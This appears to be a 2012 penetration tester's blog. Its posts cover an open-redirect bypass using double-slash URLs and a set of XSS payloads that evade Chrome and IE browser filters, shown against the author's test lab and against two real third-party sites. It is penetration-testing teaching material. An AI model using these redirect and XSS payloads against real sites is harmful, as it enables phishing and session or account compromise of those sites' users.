What happens if you read The Tangled Web on iPad

[06-10-2012]

A couple of weeks ago I needed an iOS device for one of the tests. It turned out iPad was the most suitable option, and for some time after the test I played with it a bit, trying to use as an e-book reader. Guess what happens if you read The Tangled Web on iOS device ;)

I’ll share some more details later, once other vendors release fixes.

Open relative redirects

[27-08-2012]

This trick is so simple I thought I won’t be writing about it, but maybe it will be useful for someone.

Base open redirect vulnerability may look like this: http://vuln.testlab.runic.pl/open_redir/base.phps and is simply exploited by supplying an absolute URL into location parameter. But what if an application tries to allow only relative URLs by prefixing location with slash or checking if there is already one? Something like: http://vuln.testlab.runic.pl/open_redir/vuln1.phps or http://vuln.testlab.runic.pl/open_redir/vuln2.phps?

In this case, double slash still works as an absolute URL:

http://vuln.testlab.runic.pl/open_redir/vuln1.php?location=/runic.pl

http://vuln.testlab.runic.pl/open_redir/vuln2.php?location=//runic.pl

Skipfish is the only scanner I know that checks second scenario, and the first one won’t be detected at all by most currently available tools.

Bypassing Chrome/IE XSS filters

[16-08-2012]

Sometimes, when writing a report including XSS vulnerabilities you may want to give examples that work not only in Firefox, but also bypass Chrome/IE browser-side XSS filters. Here are some tricks you may use. They do not really bypass the filters, but are simply not included in their designed scope.

1. Injection inside <script> tag
(Chrome) http://vuln.testlab.runic.pl/xss.php?g=”;alert(document.domain)//
(IE/Chrome) http://vuln.testlab.runic.pl/xss.php?f=)};alert(document.domain);function x() {x(

2. Attribute injection outside of quotes
(Chrome) http://vuln.testlab.runic.pl/xss.php?e=x%20autofocus%20onfocus=alert(document.domain)

3. Multiple injection points
(Chrome) http://vuln.testlab.runic.pl/xss.php?b=*/test=’&a=<script>/*&c=’;alert(document.domain)</script>

4. DOM-based XSS
(IE/Chrome) http://vuln.testlab.runic.pl/xss.php#<img src=x onerror=alert(0)>

5. Same-origin XSS (sounds strange, doesn’t it?) – IE only
(IE) http://vuln.testlab.runic.pl/xss.php?i=?a=<script>alert(document.domain)</script>
(IE) http://vuln.testlab.runic.pl/xss.php?a=<a href=”?a=%26lt;script>alert%26%2340;document.domain)</script>”>click me</a>

6. Use any additional decoding/modification performed by application
(IE) http://vuln.testlab.runic.pl/xss.php?h=%253Cscript%253Ealert(0)%253C/script%253E
- in this case, unnecessary urldecode() was used in the script.

And here are two random XSS vulnerabilities from xssed.com, modified to work in Chrome:
http://www.mercadolivre.com.br/brasil/ml/l_user.main?as_filtro_id=CERTIFIED_USR&as_nickname=*/x=’&as_pcia_id=’;alert(document.domain)%3C/script%3E%22%3E%3Cscript%3E/*
http://www.adobe.com/cfusion/tdrc/modal/signin.cfm?loc=en_us&product=’;alert(document.domain);x=’
(the second one does not execute, but it bypasses Chrome XSS filter anyway)